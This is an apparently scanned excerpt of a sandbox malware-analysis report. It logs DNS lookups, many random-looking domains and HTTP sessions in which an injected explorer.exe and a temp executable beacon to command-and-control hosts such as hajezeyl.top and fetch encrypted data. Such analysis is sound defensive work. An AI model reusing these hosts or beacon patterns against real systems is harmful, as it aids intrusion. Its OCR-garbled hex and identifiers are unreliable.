Oct 29, 2021 20:30:18.902455091 CEST 192.168.2.7 8.8.8.8 Oxdc05 Standard query  telegalive.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:30:22.334400892 CEST 192.168.2.7 8.8.8.8 0x934d Standard query  telegalive.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:30:27.885710001 CEST 192.168.2.7 8.8.8.8 0x5456 Standard query  telegalive.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:30:31.228348970 CEST 192.168.2.7 8.8.8.8 Oxb3ee Standard query  telegalive.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:30:34.597734928 CEST 192.168.2.7 8.8.8.8 0x3ba2 Standard query  telegalive.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:30:34.653673887 CEST 192.168.2.7 8.8.8.8 0x3666 Standard query  toptelete.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:30:41.096571922 CEST 192.168.2.7 8.8.8.8 Oxcc51 Standard query  nusurtal4f.net A (IP address) IN (0x0001)
)

Oct 29, 2021 20:30:41.696048975 CEST 192.168.2.7 8.8.8.8 0x59ae Standard query  znpst.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:31:13.129337072 CEST 192.168.2.7 8.8.8.8 Oxaf84 Standard query  api.2ip.ua A (IP address) IN (0x0001)
(©)

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 29, 2021 8.8.8.8 192.168.2.7 0x73d3 Name error (3)  xacokuo8.top none none A (IP address) IN (0x0001)

20:29:20.858174086

CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x62d1 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)

20:29:20.886290073

CEST
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Timestamp

Oct 29, 2021
20:29:21.055284023
CEST

Oct 29, 2021
20:29:21.218452930
CEST

Oct 29, 2021
20:29:24.064831018
CEST

Oct 29, 2021
20:29:24.252674103
CEST

Oct 29, 2021
20:29:40.928164005
CEST

Oct 29, 2021
20:29:41.092096090
CEST

Oct 29, 2021
20:29:41.256978989
CEST

Oct 29, 2021
20:29:41.424346924
CEST

Oct 29, 2021
20:29:41.596255064
CEST

Oct 29, 2021
20:29:43.629235983
CEST

Oct 29, 2021
20:29:43.797700882
CEST

Oct 29, 2021
20:29:43.961450100
CEST

Oct 29, 2021
20:29:44.132520914
CEST

Oct 29, 2021
20:29:46.398327112
CEST

Oct 29, 2021
20:29:47.106415987
CEST

Oct 29, 2021
20:29:47.351737976
CEST

Oct 29, 2021
20:29:47.351737976
CEST

Oct 29, 2021
20:29:47.351737976
CEST

Oct 29, 2021
20:29:47.351737976
CEST

Oct 29, 2021
20:29:47.351737976
CEST

Oct 29, 2021
20:29:51.296569109
CEST

Oct 29, 2021
20:29:51.484147072
CEST

Oct 29, 2021
20:29:51.658396006
CEST

Oct 29, 2021
20:29:51.980878115
CEST

Oct 29, 2021
20:29:51.980878115
CEST

Oct 29, 2021
20:29:51.980878115
CEST
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Source IP

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP
192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

192.168.2.7

Trans ID

0xf54e

0x1388

0x69fd

0xb52f

0x8216

0xd313

0xb99c

0x83eb

0x3cdf

0x3eb

0xd47c

0x96ee

0x980d

0x9259

0x4d36

Ox4ce

Ox4ce

Ox4ce

Ox4ce

Ox4ce

Ox4bch

0x8cf9

0x434a

0x854b

0x854b

0x854b

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName

hajezeyl.top

privacytoo

|1zforyou-6000.top

hajezeyl.top

hajezeyl.top

hajezeyl.top

hajezeyl.top

hajezeyl.top

hajezeyl.top

hajezeyl.top

hajezeyl.top

hajezeyl.top

hajezeyl.top

hajezeyl.top

hajezeyl.top

hajezeyl.top

cdn.discor

dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

hajezeyl.top

hajezeyl.top

hajezeyl.top

cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

Address
185.98.87.159

185.98.87.159

185.98.87.159

185.98.87.159

185.98.87.159

185.98.87.159

185.98.87.159

185.98.87.159

185.98.87.159

185.98.87.159

185.98.87.159

185.98.87.159

185.98.87.159

185.98.87.159

185.98.87.159

162.159.135.233

162.159.133.233

162.159.129.233

162.159.130.233

162.159.134.233

185.98.87.159

185.98.87.159

185.98.87.159

162.159.129.233

162.159.133.233

162.159.130.233

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 29, 2021 8.8.8.8 192.168.2.7 0x854b No error (0) cdn.discor 162.159.134.233 A (IP address) IN (0x0001)
20:29:51.980878115 dapp.com
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x854b No error (0) cdn.discor 162.159.135.233 A (IP address) IN (0x0001)
20:29:51.980878115 dapp.com
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x585e No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:54.034465075
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 Ox64al No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:54.201314926
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x649d No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:54.373887062
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x6bc6 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:54.544733047
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x9321 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:54.722946882
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x3837 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:56.539890051
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0xfe70 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:56.710153103
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 Oxae88 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:56.885906935
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x6041 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:57.046030998
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 Oxe76e No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:57.213768005
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x5a82 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:29:59.875693083
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 Ox4ffa No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:00.314217091
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x9edf No error (0) sysaheu90.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:00.493067980
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0Oxcd03 No error (0) cdn.discor 162.159.135.233 A (IP address) IN (0x0001)
20:30:01.373661995 dapp.com
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0xcd03 No error (0) cdn.discor 162.159.133.233 A (IP address) IN (0x0001)
20:30:01.373661995 dapp.com
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0Oxcd03 No error (0) cdn.discor 162.159.134.233 A (IP address) IN (0x0001)
20:30:01.373661995 dapp.com
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0Oxcd03 No error (0) cdn.discor 162.159.130.233 A (IP address) IN (0x0001)
20:30:01.373661995 dapp.com
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0xcd03 No error (0) cdn.discor 162.159.129.233 A (IP address) IN (0x0001)
20:30:01.373661995 dapp.com
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x2096 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:05.073163986
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x6ed2 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:05.314948082
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0X54¢6 No error (0) hajezeyl.top 185.98.87.159 A (IP address)  IN (0x0001)
20:30:06.139359951
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0xf863 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:06.443312883
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x8c61 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:06.707096100
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x9b4 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:09.096445084
CEST
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 29, 2021 8.8.8.8 192.168.2.7 0x737d No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:09.316358089
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x828b No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:09.528799057
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0xf0a3 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:09.744049072
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 Oxaele No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:09.971429110
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x7b34 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:10.332926989
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0xd85d No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:11.577822924
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x12c8 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:30:11.771446943
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 Ox14de Name error (3)  telegalive.top none none A (IP address) IN (0x0001)
20:30:15.547036886
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0xdc05 Name error (3)  telegalive.top none none A (IP address) IN (0x0001)
20:30:18.921991110
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x934d Name error (3)  telegalive.top none none A (IP address) IN (0x0001)
20:30:22.353709936
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x5456 Name error (3)  telegalive.top none none A (IP address) IN (0x0001)
20:30:27.903482914
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 Oxb3ee Name error (3)  telegalive.top none none A (IP address) IN (0x0001)
20:30:31.247653961
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x3ba2 Name error (3)  telegalive.top none none A (IP address) IN (0x0001)
20:30:34.617084026
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x3666 No error (0) toptelete.top 172.67.160.46 A (IP address) IN (0x0001)
20:30:34.676328897
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x3666 No error (0) toptelete.top 104.21.9.146 A (IP address) IN (0x0001)
20:30:34.676328897
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 Oxcc51 No error (0) nusurtal4f.net 45.141.84.21 A (IP address) IN (0x0001)
20:30:41.250916004
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x59ae No error (0) znpst.top 151.251.30.69 A (IP address) IN (0x0001)
20:30:42.035584927
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x59ae No error (0) znpst.top 58.124.228.242 A (IP address) IN (0x0001)
20:30:42.035584927
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x59ae No error (0) znpst.top 5.163.179.4 A (IP address) IN (0x0001)
20:30:42.035584927
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x59ae No error (0) znpst.top 176.123.228.234 A (IP address) IN (0x0001)
20:30:42.035584927
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x59ae No error (0) znpst.top 186.74.208.84 A (IP address) IN (0x0001)
20:30:42.035584927
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x59ae No error (0) znpst.top 211.119.84.112 A (IP address) IN (0x0001)
20:30:42.035584927
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x59ae No error (0) znpst.top 189.129.196.81 A (IP address)  IN (0x0001)
20:30:42.035584927
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x59ae No error (0) znpst.top 196.200.111.5 A (IP address) IN (0x0001)
20:30:42.035584927
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x59ae No error (0) znpst.top 91.203.174.38 A (IP address) IN (0x0001)
20:30:42.035584927
CEST

Oct 29, 2021 8.8.8.8 192.168.2.7 0x59ae No error (0) znpst.top 89.46.29.238 A (IP address) IN (0x0001)
20:30:42.035584927
CEST
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 29, 2021 8.8.8.8 192.168.2.7 Oxaf84 No error (0) api.2ip.ua 77.123.139.190 A (IP address) IN (0x0001)
20:31:13.148866892
CEST

HTTP Request Dependency Graph

e cdn.discordapp.com

e rctoc.net
e hajezeyl.top

e cufneavefi.net

e privacytoolzforyou-6000.top

e ctxsek.com

e ivcdxgts.com

e hgtrcnng.org

e ghvnsfthad.org

e mwdvngc.org

e rpragyk.org

e pjooem.net

e hfhoss.org

e hgdpvgs.net

e ryqdxjurg.net

e jirxemk.com

o efeydlty.org

e glvsini.com

e jbxuhdvj.net

e axwrxhk.org

e dkannuwrja.org

e naytoe.com

e bggaruug.net

e bcaielan.com

e sangssr.org

e eyepud.com

e dkvmgnfi.com

e whbdgtrry.com
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e mkagxiicha.net

e taupwpt.org

e blslkdmyqd.net

e chucxho.com

e futucrxk.com

e sysaheu90.top

e iyxlcdj.net

e ayllaycsn.com

e xcwoodah.org

o vtlkrwbu.com

e ohksryibbc.com

e aandk.com

e shvoxgf.org

e ghsdwx.net

e akpvscwiwg.net

o fftaocheul.net

e ugktie.net

e tkhdy.net

e hhnkknumd.org

* toptelete.top

e 91.219.236.97

HTTP Packets

Session ID
0

Timestamp

Session ID

1

Timestamp

Source IP
192.168.2.7

kBytes
transferred

Source IP

192.168.2.7

kBytes
transferred

Copyright Joe Security LLC 2021

Source Port
49773

Direction

Source Port

49774

Direction

Destination IP
162.159.135.233

Data

Destination IP

162.159.135.233

Data

Destination Port Process

443

C:\Users\user\AppData\Local\Temp\B82B.exe

Destination Port Process

443

C:\Users\user\AppData\Local\Temp\B82B.exe
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Session ID Source IP

10 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 1598

20:29:40.980958939 CEST

Oct 29, 2021 1599
20:29:41.059622049 CEST

Session ID Source IP
11 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 1600

20:29:41.144978046 CEST

Oct 29, 2021 1601
20:29:41.223545074 CEST

Session ID Source IP

12 192.168.2.7
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Source Port

49762

Direction

ouT

Source Port

49763

Direction

ouT

Source Port

49764

Direction

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://hgtrcnng.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 243

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:41 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ghvnsfthad.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 322

Host: hajezeyl.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:41 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 30 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at hajezeyl.top Port 80</address></body></htmI>0

Destination IP Destination Port Process

185.98.87.159 80 C:\Windows\explorer.exe

Data
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kBytes

Timestamp transferred

Oct 29, 2021 1602
20:29:41.311482906 CEST

Oct 29, 2021 1602
20:29:41.389851093 CEST

Session ID Source IP
13 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 1603

20:29:41.482006073 CEST

Oct 29, 2021 1604
20:29:41.563502073 CEST

Session ID Source IP
14 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 1604

20:29:41.649980068 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49765

Direction

ouT

Source Port

49766

Direction
ouT

Data

POST /HTTP/1.1
Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*
Referer: http://mwdvngc.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Length: 295

Host: hajezeyl.top

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port

185.98.87.159 80

Data

POST /HTTP/1.1
Connection: Keep-Alive

Process

C:\Windows\explorer.exe

Content-Type: application/x-www-form-urlencoded

Accept: */*
Referer: http://rprayk.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Length: 168

Host: hajezeyl.top

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port

185.98.87.159 80

Data

POST /HTTP/1.1
Connection: Keep-Alive

Process

C:\Windows\explorer.exe

Content-Type: application/x-www-form-urlencoded

Accept: */*
Referer: http://pjooem.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Length: 125
Host: hajezeyl.top
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kBytes
Timestamp transferred

Oct 29, 2021 1606
20:29:41.733266115 CEST

Session ID Source IP
15 192.168.2.7

kBytes
Timestamp transferred
Oct 29, 2021 2137

20:29:43.683329105 CEST

Oct 29, 2021 2138
20:29:43.760889053 CEST

Session ID Source IP

16 192.168.2.7

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49767

Direction
ouT

Source Port

49768

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 29 Oct 2021 18:29:41 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5¢ 2f 8f 69 c1 50 22 ec 26 d8 al e7 26 67 Ob 72 90 86 ec d2 ca
71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9¢ 22 60 1b d6 88 67 al c2
8a 3151 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 3 77 b3 6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88
e05d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 el 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8¢ f5 cf 9b 2b 25 9b
6 ba €9 1a b0 1c 67 74 d2 23 9f 87 cd 2b 80 78 51 al a2 8f 3c 08 d8 1c e0 32 02 50 08 08 d0 e2 30 a5 59 93 9b b7 4f {3
e0e6 62 79 04 54 ea d6 d7 Oc 3d 61 1f 27 f4 d2 af 34 91 b4 b9 81 8a 20 59 55 11 5c b8 e6 6e ab 49 11 a0 c8 58 4b 67 13
d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 81 ff cc 8a 40 d8 06 Oe 45 87 1b 7d 87
8 €0 04 89 f9 d4 57 80 90 70 89 ec 30 4d 6b Oe el a2 22 48 12 da 49 al ff be ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3
Ob 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0Of 1¢ 57 ee 87 7e Oc 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f
8a 86 €8 47 5a ad b2 cb 99 6¢ 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 e2 5f 96 da 19 d1
3a 2d 6e 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 2d 77
14 2c d0 e8 bl 14 b9 76 10 22 17 4a 86 47 30 5a 22 a2 3f Ob 8e 6b 51 fd b5 54 02 9 ee f8 b2 d6 4a 1f a7 €9 4d 51 e2 49
64 cd 25 5¢ 8d b7 73 24 0c 26 17 51 d2 eb €9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e 8 d8 62 47
42 15 07 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6f c9 ae 88 3b 95 36 e1 48 50 67 79 50 b8 81 be e6 81 de e3 75
6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8
d0 a7 df f2 4a 0b 7d 54 7a 9c 6¢ 39 c0 al Oc 5¢ 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25
15 8e b7 82 7f 8e 40 b6 f1 b8 4e al 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e
0f 60 7c aa 9f 50 54 Oc f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6¢ ba 25 8f
fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f
ecc9 8168 730299 ea fc cd ¢3 05 d0 93 d3 23 39 01 c4 a5 c¢8 63 77 da Ob af bd d9 39 69 al 99 9c 77 e8 Of 4e 8c da 06
b9 37 87 8c b4 26 b8 2¢c 58 32 77 6¢ 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd al 97 2b 86 3 bd
98 bb 1f 77 ¢7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 el d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34
